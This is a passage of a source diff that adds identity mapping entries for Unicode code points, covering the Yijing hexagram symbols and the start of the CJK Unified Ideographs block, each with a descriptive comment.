+ ["\u4DD5", "\u4DD5"], /* HEXAGRAM FOR GRACE */
+ ["\u4DD6", "\u4DD6"], /* HEXAGRAM FOR SPLITTING APART */
+ ["\u4DD7", "\u4DD7"], /* HEXAGRAM FOR RETURN */
+ ["\u4DD8", "\u4DD8"], /* HEXAGRAM FOR INNOCENCE */
+ ["\u4DD9", "\u4DD9"], /* HEXAGRAM FOR GREAT TAMING */
+ ["\u4DDA", "\u4DDA"], /* HEXAGRAM FOR MOUTH CORNERS */
+ ["\u4DDB", "\u4DDB"], /* HEXAGRAM FOR GREAT PREPONDERANCE */
+ ["\u4DDC", "\u4DDC"], /* HEXAGRAM FOR THE ABYSMAL WATER */
+ ["\u4DDD", "\u4DDD"], /* HEXAGRAM FOR THE CLINGING FIRE */
+ ["\u4DDE", "\u4DDE"], /* HEXAGRAM FOR INFLUENCE */
+ ["\u4DDF", "\u4DDF"], /* HEXAGRAM FOR DURATION */
+ ["\u4DE0", "\u4DE0"], /* HEXAGRAM FOR RETREAT */
+ ["\u4DE1", "\u4DE1"], /* HEXAGRAM FOR GREAT POWER */
+ ["\u4DE2", "\u4DE2"], /* HEXAGRAM FOR PROGRESS */
+ ["\u4DE3", "\u4DE3"], /* HEXAGRAM FOR DARKENING OF THE LIGHT */
+ ["\u4DE4", "\u4DE4"], /* HEXAGRAM FOR THE FAMILY */
+ ["\u4DE5", "\u4DE5"], /* HEXAGRAM FOR OPPOSITION */
+ ["\u4DE6", "\u4DE6"], /* HEXAGRAM FOR OBSTRUCTION */
+ ["\u4DE7", "\u4DE7"], /* HEXAGRAM FOR DELIVERANCE */
+ ["\u4DE8", "\u4DE8"], /* HEXAGRAM FOR DECREASE */
+ ["\u4DE9", "\u4DE9"], /* HEXAGRAM FOR INCREASE */
+ ["\u4DEA", "\u4DEA"], /* HEXAGRAM FOR BREAKTHROUGH */
+ ["\u4DEB", "\u4DEB"], /* HEXAGRAM FOR COMING TO MEET */
+ ["\u4DEC", "\u4DEC"], /* HEXAGRAM FOR GATHERING TOGETHER */
+ ["\u4DED", "\u4DED"], /* HEXAGRAM FOR PUSHING UPWARD */
+ ["\u4DEE", "\u4DEE"], /* HEXAGRAM FOR OPPRESSION */
+ ["\u4DEF", "\u4DEF"], /* HEXAGRAM FOR THE WELL */
+ ["\u4DF0", "\u4DF0"], /* HEXAGRAM FOR REVOLUTION */
+ ["\u4DF1", "\u4DF1"], /* HEXAGRAM FOR THE CAULDRON */
+ ["\u4DF2", "\u4DF2"], /* HEXAGRAM FOR THE AROUSING THUNDER */
+ ["\u4DF3", "\u4DF3"], /* HEXAGRAM FOR THE KEEPING STILL MOUNTAIN */
+ ["\u4DF4", "\u4DF4"], /* HEXAGRAM FOR DEVELOPMENT */
+ ["\u4DF5", "\u4DF5"], /* HEXAGRAM FOR THE MARRYING MAIDEN */
+ ["\u4DF6", "\u4DF6"], /* HEXAGRAM FOR ABUNDANCE */
+ ["\u4DF7", "\u4DF7"], /* HEXAGRAM FOR THE WANDERER */
+ ["\u4DF8", "\u4DF8"], /* HEXAGRAM FOR THE GENTLE WIND */
+ ["\u4DF9", "\u4DF9"], /* HEXAGRAM FOR THE JOYOUS LAKE */
+ ["\u4DFA", "\u4DFA"], /* HEXAGRAM FOR DISPERSION */
+ ["\u4DFB", "\u4DFB"], /* HEXAGRAM FOR LIMITATION */
+ ["\u4DFC", "\u4DFC"], /* HEXAGRAM FOR INNER TRUTH */
+ ["\u4DFD", "\u4DFD"], /* HEXAGRAM FOR SMALL PREPONDERANCE */
+ ["\u4DFE", "\u4DFE"], /* HEXAGRAM FOR AFTER COMPLETION */
+ ["\u4DFF", "\u4DFF"], /* HEXAGRAM FOR BEFORE COMPLETION */
+ ["\u4E00", "\u4E00"], /* CJK Ideograph */
+ ["\u4E01", "\u4E01"], /* CJK Ideograph */
+ ["\u4E02", "\u4E02"], /* CJK Ideograph */
+ ["\u4E03", "\u4E03"], /* CJK Ideograph */
+ ["\u4E04", "\u4E04"], /* CJK Ideograph */
+ ["\u4E05", "\u4E05"], /* CJK Ideograph */
+ ["\u4E06", "\u4E06"], /* CJK Ideograph */
+ ["\u4E07", "\u4E07"], /* CJK Ideograph */
+ ["\u4E08", "\u4E08"], /* CJK Ideograph */
+ ["\u4E09", "\u4E09"], /* CJK Ideograph */
+ ["\u4E0A", "\u4E0A"], /* CJK Ideograph */
+ ["\u4E0B", "\u4E0B"], /* CJK Ideograph */
+ ["\u4E0C", "\u4E0C"], /* CJK Ideograph */
+ ["\u4E0D", "\u4E0D"], /* CJK Ideograph */
+ ["\u4E0E", "\u4E0E"], /* CJK Ideograph */
+ ["\u4E0F", "\u4E0F"], /* CJK Ideograph */
+ ["\u4E10", "\u4E10"], /* CJK Ideograph */
+ ["\u4E11", "\u4E11"], /* CJK Ideograph */
+ ["\u4E12", "\u4E12"], /* CJK Ideograph */
+ ["\u4E13", "\u4E13"], /* CJK Ideograph */
+ ["\u4E14", "\u4E14"], /* CJK Ideograph */
+ ["\u4E15", "\u4E15"], /* CJK Ideograph */
+ ["\u4E16", "\u4E16"], /* CJK Ideograph */
+ ["\u4E17", "\u4E17"], /* CJK Ideograph */
+ ["\u4E18", "\u4E18"], /* CJK Ideograph */
+ ["\u4E19", "\u4E19"], /* CJK Ideograph */
+ ["\u4E1A", "\u4E1A"], /* CJK Ideograph */
+ ["\u4E1B", "\u4E1B"], /* CJK Ideograph */
+ ["\u4E1C", "\u4E1C"], /* CJK Ideograph */
+ ["\u4E1D", "\u4E1D"], /* CJK Ideograph */
+ ["\u4E1E", "\u4E1E"], /* CJK Ideograph */
+ ["\u4E1F", "\u4E1F"], /* CJK Ideograph */
+ ["\u4E20", "\u4E20"], /* CJK Ideograph */
+ ["\u4E21", "\u4E21"], /* CJK Ideograph */
+ ["\u4E22", "\u4E22"], /* CJK Ideograph */
+ ["\u4E23", "\u4E23"], /* CJK Ideograph */
+ ["\u4E24", "\u4E24"], /* CJK Ideograph */
+ ["\u4E25", "\u4E25"], /* CJK Ideograph */
+ ["\u4E26", "\u4E26"], /* CJK Ideograph */
+ ["\u4E27", "\u4E27"], /* CJK Ideograph */
+ ["\u4E28", "\u4E28"], /* CJK Ideograph */
+ ["\u4E29", "\u4E29"], /* CJK Ideograph */
+ ["\u4E2A", "\u4E2A"], /* CJK Ideograph */
+ ["\u4E2B", "\u4E2B"], /* CJK Ideograph */
+ ["\u4E2C", "\u4E2C"], /* CJK Ideograph */
+ ["\u4E2D", "\u4E2D"], /* CJK Ideograph */
+ ["\u4E2E", "\u4E2E"], /* CJK Ideograph */
+ ["\u4E2F", "\u4E2F"], /* CJK Ideograph */
+ ["\u4E30", "\u4E30"], /* CJK Ideograph */
+ ["\u4E31", "\u4E31"], /* CJK Ideograph */
+ ["\u4E32", "\u4E32"], /* CJK Ideograph */
+ ["\u4E33", "\u4E33"], /* CJK Ideograph */
+ ["\u4E34", "\u4E34"], /* CJK Ideograph */
+ ["\u4E35", "\u4E35"], /* CJK Ideograph */
+ ["\u4E36", "\u4E36"], /* CJK Ideograph */
+ ["\u4E37", "\u4E37"], /* CJK Ideograph */
+ ["\u4E38", "\u4E38"], /* CJK Ideograph */
+ ["\u4E39", "\u4E39"], /* CJK Ideograph */
+ ["\u4E3A", "\u4E3A"], /* CJK Ideograph */
+ ["\u4E3B", "\u4E3B"], /* CJK Ideograph */
+ ["\u4E3C", "\u4E3C"], /* CJK Ideograph */
+ ["\u4E3D", "\u4E3D"], /* CJK Ideograph */
+ ["\u4E3E", "\u4E3E"], /* CJK Ideograph */
+ ["\u4E3F", "\u4E3F"], /* CJK Ideograph */
+ ["\u4E40", "\u4E40"], /* CJK Ideograph */
+ ["\u4E41", "\u4E41"], /* CJK Ideograph */
+ ["\u4E42", "\u4E42"], /* CJK Ideograph */
+ ["\u4E43", "\u4E43"], /* CJK Ideograph */
+ ["\u4E44", "\u4E44"], /* CJK Ideograph */
+ ["\u4E45", "\u4E45"], /* CJK Ideograph */
+ ["\u4E46", "\u4E46"], /* CJK Ideograph */
+ ["\u4E47", "\u4E47"], /* CJK Ideograph */
+ ["\u4E48", "\u4E48"], /* CJK Ideograph */
+ ["\u4E49", "\u4E49"], /* CJK Ideograph */
+ ["\u4E4A", "\u4E4A"], /* CJK Ideograph */
+ ["\u4E4B", "\u4E4B"], /* CJK Ideograph */
+ ["\u4E4C", "\u4E4C"], /* CJK Ideograph */
+ ["\u4E4D", "\u4E4D"], /* CJK Ideograph */
+ ["\u4E4E", "\u4E4E"], /* CJK Ideograph */
+ ["\u4E4F", "\u4E4F"], /* CJK Ideograph */
+ ["\u4E50", "\u4E50"], /* CJK Ideograph */
+ ["\u4E51", "\u4E51"], /* CJK Ideograph */
+ ["\u4E52", "\u4E52"], /* CJK Ideograph */
+ ["\u4E53", "\u4E53"], /* CJK Ideograph */
+ ["\u4E54", "\u4E54"], /* CJK Ideograph */
+ ["\u4E55", "\u4E55"], /* CJK Ideograph */
+ ["\u4E56", "\u4E56"], /* CJK Ideograph */
+ ["\u4E57", "\u4E57"], /* CJK Ideograph */
+ ["\u4E58", "\u4E58"], /* CJK Ideograph */
+ ["\u4E59", "\u4E59"], /* CJK Ideograph */
+ ["\u4E5A", "\u4E5A"], /* CJK Ideograph */
+ ["\u4E5B", "\u4E5B"], /* CJK Ideograph */
+ ["\u4E5C", "\u4E5C"], /* CJK Ideograph */
+ ["\u4E5D", "\u4E5D"], /* CJK Ideograph */
+ ["\u4E5E", "\u4E5E"], /* CJK Ideograph */
+ ["\u4E5F", "\u4E5F"], /* CJK Ideograph */
+ ["\u4E60", "\u4E60"], /* CJK Ideograph */
+ ["\u4E61", "\u4E61"], /* CJK Ideograph */
+ ["\u4E62", "\u4E62"], /* CJK Ideograph */
+ ["\u4E63", "\u4E63"], /* CJK Ideograph */
+ ["\u4E64", "\u4E64"], /* CJK Ideograph */
+ ["\u4E65", "\u4E65"], /* CJK Ideograph */
+ ["\u4E66", "\u4E66"], /* CJK Ideograph */
+ ["\u4E67", "\u4E67"], /* CJK Ideograph */
+ ["\u4E68", "\u4E68"], /* CJK Ideograph */
+ ["\u4E69", "\u4E69"], /* CJK Ideograph */
+ ["\u4E6A", "\u4E6A"], /* CJK Ideograph */
+ ["\u4E6B", "\u4E6B"], /* CJK Ideograph */
+ ["\u4E6C", "\u4E6C"], /* CJK Ideograph */
+ ["\u4E6D", "\u4E6D"], /* CJK Ideograph */
+ ["\u4E6E", "\u4E6E"], /* CJK Ideograph */
+ ["\u4E6F", "\u4E6F"], /* CJK Ideograph */
+ ["\u4E70", "\u4E70"], /* CJK Ideograph */
+ ["\u4E71", "\u4E71"], /* CJK Ideograph */
+ ["\u4E72", "\u4E72"], /* CJK Ideograph */
+ ["\u4E73", "\u4E73"], /* CJK Ideograph */
+ ["\u4E74", "\u4E74"], /* CJK Ideograph */
+ ["\u4E75", "\u4E75"], /* CJK Ideograph */
+ ["\u4E76", "\u4E76"], /* CJK Ideograph */
+ ["\u4E77", "\u4E77"], /* CJK Ideograph */
+ ["\u4E78", "\u4E78"], /* CJK Ideograph */
+ ["\u4E79", "\u4E79"], /* CJK Ideograph */
+ ["\u4E7A", "\u4E7A"], /* CJK Ideograph */
+ ["\u4E7B", "\u4E7B"], /* CJK Ideograph */
+ ["\u4E7C", "\u4E7C"], /* CJK Ideograph */
+ ["\u4E7D", "\u4E7D"], /* CJK Ideograph */
+ ["\u4E7E", "\u4E7E"], /* CJK Ideograph */
+ ["\u4E7F", "\u4E7F"], /* CJK Ideograph */
+ ["\u4E80", "\u4E80"], /* CJK Ideograph */
+ ["\u4E81", "\u4E81"], /* CJK Ideograph */
+ ["\u4E82", "\u4E82"], /* CJK Ideograph */
+ ["\u4E83", "\u4E83"], /* CJK Ideograph */
+ ["\u4E84", "\u4E84"], /* CJK Ideograph */
+ ["\u4E85", "\u4E85"], /* CJK Ideograph */
+ ["\u4E86", "\u4E86"], /* CJK Ideograph */
+ ["\u4E87", "\u4E87"], /* CJK Ideograph */
+ ["\u4E88", "\u4E88"], /* CJK Ideograph */
+ ["\u4E89", "\u4E89"], /* CJK Ideograph */
+ ["\u4E8A", "\u4E8A"], /* CJK Ideograph */
+ ["\u4E8B", "\u4E8B"], /* CJK Ideograph */
+ ["\u4E8C", "\u4E8C"], /* CJK Ideograph */
+ ["\u4E8D", "\u4E8D"], /* CJK Ideograph */
+ ["\u4E8E", "\u4E8E"], /* CJK Ideograph */
+ ["\u4E8F", "\u4E8F"], /* CJK Ideograph */
+ ["\u4E90", "\u4E90"], /* CJK Ideograph */
+ ["\u4E91", "\u4E91"], /* CJK Ideograph */
+ ["\u4E92", "\u4E92"], /* CJK Ideograph */
+ ["\u4E93", "\u4E93"], /* CJK Ideograph */
+ ["\u4E94", "\u4E94"], /* CJK Ideograph */
+ ["\u4E95", "\u4E95"], /* CJK Ideograph */
+ ["\u4E96", "\u4E96"], /* CJK Ideograph */
+ ["\u4E97", "\u4E97"], /* CJK Ideograph */
+ ["\u4E98", "\u4E98"], /* CJK Ideograph */
+ ["\u4E99", "\u4E99"], /* CJK Ideograph */
+ ["\u4E9A", "\u4E9A"], /* CJK Ideograph */
+ ["\u4E9B", "\u4E9B"], /* CJK Ideograph */
+ ["\u4E9C", "\u4E9C"], /* CJK Ideograph */
+ ["\u4E9D", "\u4E9D"], /* CJK Ideograph */
+ ["\u4E9E", "\u4E9E"], /* CJK Ideograph */
+ ["\u4E9F", "\u4E9F"], /* CJK Ideograph */
+ ["\u4EA0", "\u4EA0"], /* CJK Ideograph */
+ ["\u4EA1", "\u4EA1"], /* CJK Ideograph */
+ ["\u4EA2", "\u4EA2"], /* CJK Ideograph */
+ ["\u4EA3", "\u4EA3"], /* CJK Ideograph */
+ ["\u4EA4", "\u4EA4"], /* CJK Ideograph */
+ ["\u4EA5", "\u4EA5"], /* CJK Ideograph */
+ ["\u4EA6", "\u4EA6"], /* CJK Ideograph */
+ ["\u4EA7", "\u4EA7"], /* CJK Ideograph */
+ ["\u4EA8", "\u4EA8"], /* CJK Ideograph */
+ ["\u4EA9", "\u4EA9"], /* CJK Ideograph */
+ ["\u4EAA", "\u4EAA"], /* CJK Ideograph */
+ ["\u4EAB", "\u4EAB"], /* CJK Ideograph */
+ ["\u4EAC", "\u4EAC"], /* CJK Ideograph */
+ ["\u4EAD", "\u4EAD"], /* CJK Ideograph */
+ ["\u4EAE", "\u4EAE"], /* CJK Ideograph */
+ ["\u4EAF", "\u4EAF"], /* CJK Ideograph */
+ ["\u4EB0", "\u4EB0"], /* CJK Ideograph */
+ ["\u4EB1", "\u4EB1"], /* CJK Ideograph */
+ ["\u4EB2", "\u4EB2"], /* CJK Ideograph */
+ ["\u4EB3", "\u4EB3"], /* CJK Ideograph */
+ ["\u4EB4", "\u4EB4"], /* CJK Ideograph */
+ ["\u4EB5", "\u4EB5"], /* CJK Ideograph */
+ ["\u4EB6", "\u4EB6"], /* CJK Ideograph */
+ ["\u4EB7", "\u4EB7"], /* CJK Ideograph */
+ ["\u4EB8", "\u4EB8"], /* CJK Ideograph */
+ ["\u4EB9", "\u4EB9"], /* CJK Ideograph */
+ ["\u4EBA", "\u4EBA"], /* CJK Ideograph */
+ ["\u4EBB", "\u4EBB"], /* CJK Ideograph */
+ ["\u4EBC", "\u4EBC"], /* CJK Ideograph */
+ ["\u4EBD", "\u4EBD"], /* CJK Ideograph */
+ ["\u4EBE", "\u4EBE"], /* CJK Ideograph */
+ ["\u4EBF", "\u4EBF"], /* CJK Ideograph */
+ ["\u4EC0", "\u4EC0"], /* CJK Ideograph */
+ ["\u4EC1", "\u4EC1"], /* CJK Ideograph */
+ ["\u4EC2", "\u4EC2"], /* CJK Ideograph */
+ ["\u4EC3", "\u4EC3"], /* CJK Ideograph */
+ ["\u4EC4", "\u4EC4"], /* CJK Ideograph */
+ ["\u4EC5", "\u4EC5"], /* CJK Ideograph */
+ ["\u4EC6", "\u4EC6"], /* CJK Ideograph */
+ ["\u4EC7", "\u4EC7"], /* CJK Ideograph */
+ ["\u4EC8", "\u4EC8"], /* CJK Ideograph */
+ ["\u4EC9", "\u4EC9"], /* CJK Ideograph */
+ ["\u4ECA", "\u4ECA"], /* CJK Ideograph */
+ ["\u4ECB", "\u4ECB"], /* CJK Ideograph */
+ ["\u4ECC", "\u4ECC"], /* CJK Ideograph */
+ ["\u4ECD", "\u4ECD"], /* CJK Ideograph */
+ ["\u4ECE", "\u4ECE"], /* CJK Ideograph */
+ ["\u4ECF", "\u4ECF"], /* CJK Ideograph */
+ ["\u4ED0", "\u4ED0"], /* CJK Ideograph */
+ ["\u4ED1", "\u4ED1"], /* CJK Ideograph */
+ ["\u4ED2", "\u4ED2"], /* CJK Ideograph */
+ ["\u4ED3", "\u4ED3"], /* CJK Ideograph */
+ ["\u4ED4", "\u4ED4"], /* CJK Ideograph */
+ ["\u4ED5", "\u4ED5"], /* CJK Ideograph */
+ ["\u4ED6", "\u4ED6"], /* CJK Ideograph */
+ ["\u4ED7", "\u4ED7"], /* CJK Ideograph */
+ ["\u4ED8", "\u4ED8"], /* CJK Ideograph */
+ ["\u4ED9", "\u4ED9"], /* CJK Ideograph */
+ ["\u4EDA", "\u4EDA"], /* CJK Ideograph */
+ ["\u4EDB", "\u4EDB"], /* CJK Ideograph */
+ ["\u4EDC", "\u4EDC"], /* CJK Ideograph */
+ ["\u4EDD", "\u4EDD"], /* CJK Ideograph */
+ ["\u4EDE", "\u4EDE"], /* CJK Ideograph */
+ ["\u4EDF", "\u4EDF"], /* CJK Ideograph */
+ ["\u4EE0", "\u4EE0"], /* CJK Ideograph */
+ ["\u4EE1", "\u4EE1"], /* CJK Ideograph */
+ ["\u4EE2", "\u4EE2"], /* CJK Ideograph */
+ ["\u4EE3", "\u4EE3"], /* CJK Ideograph */
+ ["\u4EE4", "\u4EE4"], /* CJK Ideograph */
+ ["\u4EE5", "\u4EE5"], /* CJK Ideograph */
+ ["\u4EE6", "\u4EE6"], /* CJK Ideograph */
+ ["\u4EE7", "\u4EE7"], /* CJK Ideograph */
+ ["\u4EE8", "\u4EE8"], /* CJK Ideograph */
+ ["\u4EE9", "\u4EE9"], /* CJK Ideograph */
+ ["\u4EEA", "\u4EEA"], /* CJK Ideograph */
+ ["\u4EEB", "\u4EEB"], /* CJK Ideograph */
+ ["\u4EEC", "\u4EEC"], /* CJK Ideograph */
+ ["\u4EED", "\u4EED"], /* CJK Ideograph */
+ ["\u4EEE", "\u4EEE"], /* CJK Ideograph */
+ ["\u4EEF", "\u4EEF"], /* CJK Ideograph */
+ ["\u4EF0", "\u4EF0"], /* CJK Ideograph */
+ ["\u4EF1", "\u4EF1"], /* CJK Ideograph */
+ ["\u4EF2", "\u4EF2"], /* CJK Ideograph */
+ ["\u4EF3", "\u4EF3"], /* CJK Ideograph */
+ ["\u4EF4", "\u4EF4"], /* CJK Ideograph */
+ ["\u4EF5", "\u4EF5"], /* CJK Ideograph */
+ ["\u4EF6", "\u4EF6"], /* CJK Ideograph */
+ ["\u4EF7", "\u4EF7"], /* CJK Ideograph */
+ ["\u4EF8", "\u4EF8"], /* CJK Ideograph */
+ ["\u4EF9", "\u4EF9"], /* CJK Ideograph */
+ ["\u4EFA", "\u4EFA"], /* CJK Ideograph */
+ ["\u4EFB", "\u4EFB"], /* CJK Ideograph */
+ ["\u4EFC", "\u4EFC"], /* CJK Ideograph */
+ ["\u4EFD", "\u4EFD"], /* CJK Ideograph */
+ ["\u4EFE", "\u4EFE"], /* CJK Ideograph */
+ ["\u4EFF", "\u4EFF"], /* CJK Ideograph */
+ ["\u4F00", "\u4F00"], /* CJK Ideograph */
+ ["\u4F01", "\u4F01"], /* CJK Ideograph */
+ ["\u4F02", "\u4F02"], /* CJK Ideograph */
+ ["\u4F03", "\u4F03"], /* CJK Ideograph */
+ ["\u4F04", "\u4F04"], /* CJK Ideograph */
+ ["\u4F05", "\u4F05"], /* CJK Ideograph */
+ ["\u4F06", "\u4F06"], /* CJK Ideograph */
+ ["\u4F07", "\u4F07"], /* CJK Ideograph */
+ ["\u4F08", "\u4F08"], /* CJK Ideograph */
+ ["\u4F09", "\u4F09"], /* CJK Ideograph */
+ ["\u4F0A", "\u4F0A"], /* CJK Ideograph */
+ ["\u4F0B", "\u4F0B"], /* CJK Ideograph */
+ ["\u4F0C", "\u4F0C"], /* CJK Ideograph */
+ ["\u4F0D", "\u4F0D"], /* CJK Ideograph */
+ ["\u4F0E", "\u4F0E"], /* CJK Ideograph */
+ ["\u4F0F", "\u4F0F"], /* CJK Ideograph */
+ ["\u4F10", "\u4F10"], /* CJK Ideograph */
+ ["\u4F11", "\u4F11"], /* CJK Ideograph */
+ ["\u4F12", "\u4F12"], /* CJK Ideograph */
+ ["\u4F13", "\u4F13"], /* CJK Ideograph */
+ ["\u4F14", "\u4F14"], /* CJK Ideograph */
+ ["\u4F15", "\u4F15"], /* CJK Ideograph */
+ ["\u4F16", "\u4F16"], /* CJK Ideograph */
+ ["\u4F17", "\u4F17"], /* CJK Ideograph */
+ ["\u4F18", "\u4F18"], /* CJK Ideograph */
+ ["\u4F19", "\u4F19"], /* CJK Ideograph */
+ ["\u4F1A", "\u4F1A"], /* CJK Ideograph */
+ ["\u4F1B", "\u4F1B"], /* CJK Ideograph */
+ ["\u4F1C", "\u4F1C"], /* CJK Ideograph */
+ ["\u4F1D", "\u4F1D"], /* CJK Ideograph */
+ ["\u4F1E", "\u4F1E"], /* CJK Ideograph */
+ ["\u4F1F", "\u4F1F"], /* CJK Ideograph */
+ ["\u4F20", "\u4F20"], /* CJK Ideograph */
+ ["\u4F21", "\u4F21"], /* CJK Ideograph */
+ ["\u4F22", "\u4F22"], /* CJK Ideograph */
+ ["\u4F23", "\u4F23"], /* CJK Ideograph */
+ ["\u4F24", "\u4F24"], /* CJK Ideograph */
+ ["\u4F25", "\u4F25"], /* CJK Ideograph */
+ ["\u4F26", "\u4F26"], /* CJK Ideograph */
+ ["\u4F27", "\u4F27"], /* CJK Ideograph */
+ ["\u4F28", "\u4F28"], /* CJK Ideograph */
+ ["\u4F29", "\u4F29"], /* CJK Ideograph */
+ ["\u4F2A", "\u4F2A"], /* CJK Ideograph */
+ ["\u4F2B", "\u4F2B"], /* CJK Ideograph */
+ ["\u4F2C", "\u4F2C"], /* CJK Ideograph */
+ ["\u4F2D", "\u4F2D"], /* CJK Ideograph */
+ ["\u4F2E", "\u4F2E"], /* CJK Ideograph */
+ ["\u4F2F", "\u4F2F"], /* CJK Ideograph */
+ ["\u4F30", "\u4F30"], /* CJK Ideograph */
+ ["\u4F31", "\u4F31"], /* CJK Ideograph */
+ ["\u4F32", "\u4F32"], /* CJK Ideograph */
+ ["\u4F33", "\u4F33"], /* CJK Ideograph */
+ ["\u4F34", "\u4F34"], /* CJK Ideograph */
+ ["\u4F35", "\u4F35"], /* CJK Ideograph */
+ ["\u4F36", "\u4F36"], /* CJK Ideograph */
+ ["\u4F37", "\u4F37"], /* CJK Ideograph */
+ ["\u4F38", "\u4F38"], /* CJK Ideograph */
+ ["\u4F39", "\u4F39"], /* CJK Ideograph */
+ ["\u4F3A", "\u4F3A"], /* CJK Ideograph */
+ ["\u4F3B", "\u4F3B"], /* CJK Ideograph */
+ ["\u4F3C", "\u4F3C"], /* CJK Ideograph */
+ ["\u4F3D", "\u4F3D"], /* CJK Ideograph */
+ ["\u4F3E", "\u4F3E"], /* CJK Ideograph */
+ ["\u4F3F", "\u4F3F"], /* CJK Ideograph */
+ ["\u4F40", "\u4F40"], /* CJK Ideograph */
+ ["\u4F41", "\u4F41"], /* CJK Ideograph */
+ ["\u4F42", "\u4F42"], /* CJK Ideograph */
+ ["\u4F43", "\u4F43"], /* CJK Ideograph */
+ ["\u4F44", "\u4F44"], /* CJK Ideograph */
+ ["\u4F45", "\u4F45"], /* CJK Ideograph */
+ ["\u4F46", "\u4F46"], /* CJK Ideograph */
+ ["\u4F47", "\u4F47"], /* CJK Ideograph */
+ ["\u4F48", "\u4F48"], /* CJK Ideograph */
+ ["\u4F49", "\u4F49"], /* CJK Ideograph */
+ ["\u4F4A", "\u4F4A"], /* CJK Ideograph */
+ ["\u4F4B", "\u4F4B"], /* CJK Ideograph */
+ ["\u4F4C", "\u4F4C"], /* CJK Ideograph */
+ ["\u4F4D", "\u4F4D"], /* CJK Ideograph */
+ ["\u4F4E", "\u4F4E"], /* CJK Ideograph */
+ ["\u4F4F", "\u4F4F"], /* CJK Ideograph */
+ ["\u4F50", "\u4F50"], /* CJK Ideograph */
+ ["\u4F51", "\u4F51"], /* CJK Ideograph */
+ ["\u4F52", "\u4F52"], /* CJK Ideograph */
+ ["\u4F53", "\u4F53"], /* CJK Ideograph */
+ ["\u4F54", "\u4F54"], /* CJK Ideograph */
+ ["\u4F55", "\u4F55"], /* CJK Ideograph */
+ ["\u4F56", "\u4F56"], /* CJK Ideograph */
+ ["\u4F57", "\u4F57"], /* CJK Ideograph */
+ ["\u4F58", "\u4F58"], /* CJK Ideograph */
+ ["\u4F59", "\u4F59"], /* CJK Ideograph */
+ ["\u4F5A", "\u4F5A"], /* CJK Ideograph */
+ ["\u4F5B", "\u4F5B"], /* CJK Ideograph */
+ ["\u4F5C", "\u4F5C"], /* CJK Ideograph */
+ ["\u4F5D", "\u4F5D"], /* CJK Ideograph */
+ ["\u4F5E", "\u4F5E"], /* CJK Ideograph */
+ ["\u4F5F", "\u4F5F"], /* CJK Ideograph */
+ ["\u4F60", "\u4F60"], /* CJK Ideograph */
+ ["\u4F61", "\u4F61"], /* CJK Ideograph */
+ ["\u4F62", "\u4F62"], /* CJK Ideograph */
+ ["\u4F63", "\u4F63"], /* CJK Ideograph */
+ ["\u4F64", "\u4F64"], /* CJK Ideograph */
+ ["\u4F65", "\u4F65"], /* CJK Ideograph */
+ ["\u4F66", "\u4F66"], /* CJK Ideograph */
+ ["\u4F67", "\u4F67"], /* CJK Ideograph */
+ ["\u4F68", "\u4F68"], /* CJK Ideograph */
+ ["\u4F69", "\u4F69"], /* CJK Ideograph */
+ ["\u4F6A", "\u4F6A"], /* CJK Ideograph */
+ ["\u4F6B", "\u4F6B"], /* CJK Ideograph */
+ ["\u4F6C", "\u4F6C"], /* CJK Ideograph */
+ ["\u4F6D", "\u4F6D"], /* CJK Ideograph */
+ ["\u4F6E", "\u4F6E"], /* CJK Ideograph */
+ ["\u4F6F", "\u4F6F"], /* CJK Ideograph */
+ ["\u4F70", "\u4F70"], /* CJK Ideograph */
+ ["\u4F71", "\u4F71"], /* CJK Ideograph */
+ ["\u4F72", "\u4F72"], /* CJK Ideograph */
+ ["\u4F73", "\u4F73"], /* CJK Ideograph */
+ ["\u4F74", "\u4F74"], /* CJK Ideograph */
+ ["\u4F75", "\u4F75"], /* CJK Ideograph */
+ ["\u4F76", "\u4F76"], /* CJK Ideograph */
+ ["\u4F77", "\u4F77"], /* CJK Ideograph */
+ ["\u4F78", "\u4F78"], /* CJK Ideograph */
+ ["\u4F79", "\u4F79"], /* CJK Ideograph */
+ ["\u4F7A", "\u4F7A"], /* CJK Ideograph */
+ ["\u4F7B", "\u4F7B"], /* CJK Ideograph */
+ ["\u4F7C", "\u4F7C"], /* CJK Ideograph */
+ ["\u4F7D", "\u4F7D"], /* CJK Ideograph */
+ ["\u4F7E", "\u4F7E"], /* CJK Ideograph */
+ ["\u4F7F", "\u4F7F"], /* CJK Ideograph */
+ ["\u4F80", "\u4F80"], /* CJK Ideograph */
+ ["\u4F81", "\u4F81"], /* CJK Ideograph */
+ ["\u4F82", "\u4F82"], /* CJK Ideograph */
+ ["\u4F83", "\u4F83"], /* CJK Ideograph */
+ ["\u4F84", "\u4F84"], /* CJK Ideograph */
+ ["\u4F85", "\u4F85"], /* CJK Ideograph */
+ ["\u4F86", "\u4F86"], /* CJK Ideograph */
+ ["\u4F87", "\u4F87"], /* CJK Ideograph */
+ ["\u4F88", "\u4F88"], /* CJK Ideograph */
+ ["\u4F89", "\u4F89"], /* CJK Ideograph */
+ ["\u4F8A", "\u4F8A"], /* CJK Ideograph */
+ ["\u4F8B", "\u4F8B"], /* CJK Ideograph */
+ ["\u4F8C", "\u4F8C"], /* CJK Ideograph */
+ ["\u4F8D", "\u4F8D"], /* CJK Ideograph */
+ ["\u4F8E", "\u4F8E"], /* CJK Ideograph */
+ ["\u4F8F", "\u4F8F"], /* CJK Ideograph */
+ ["\u4F90", "\u4F90"], /* CJK Ideograph */
+ ["\u4F91", "\u4F91"], /* CJK Ideograph */
+ ["\u4F92", "\u4F92"], /* CJK Ideograph */
+ ["\u4F93", "\u4F93"], /* CJK Ideograph */
+ ["\u4F94", "\u4F94"], /* CJK Ideograph */
+ ["\u4F95", "\u4F95"], /* CJK Ideograph */
+ ["\u4F96", "\u4F96"], /* CJK Ideograph */
+ ["\u4F97", "\u4F97"], /* CJK Ideograph */
+ ["\u4F98", "\u4F98"], /* CJK Ideograph */
+ ["\u4F99", "\u4F99"], /* CJK Ideograph */
+ ["\u4F9A", "\u4F9A"], /* CJK Ideograph */
+ ["\u4F9B", "\u4F9B"], /* CJK Ideograph */
+ ["\u4F9C", "\u4F9C"], /* CJK Ideograph */
+ ["\u4F9D", "\u4F9D"], /* CJK Ideograph */
+ ["\u4F9E", "\u4F9E"], /* CJK Ideograph */
+ ["\u4F9F", "\u4F9F"], /* CJK Ideograph */
+ ["\u4FA0", "\u4FA0"], /* CJK Ideograph */
+ ["\u4FA1", "\u4FA1"], /* CJK Ideograph */
+ ["\u4FA2", "\u4FA2"], /* CJK Ideograph */
+ ["\u4FA3", "\u4FA3"], /* CJK Ideograph */
+ ["\u4FA4", "\u4FA4"], /* CJK Ideograph */
+ ["\u4FA5", "\u4FA5"], /* CJK Ideograph */
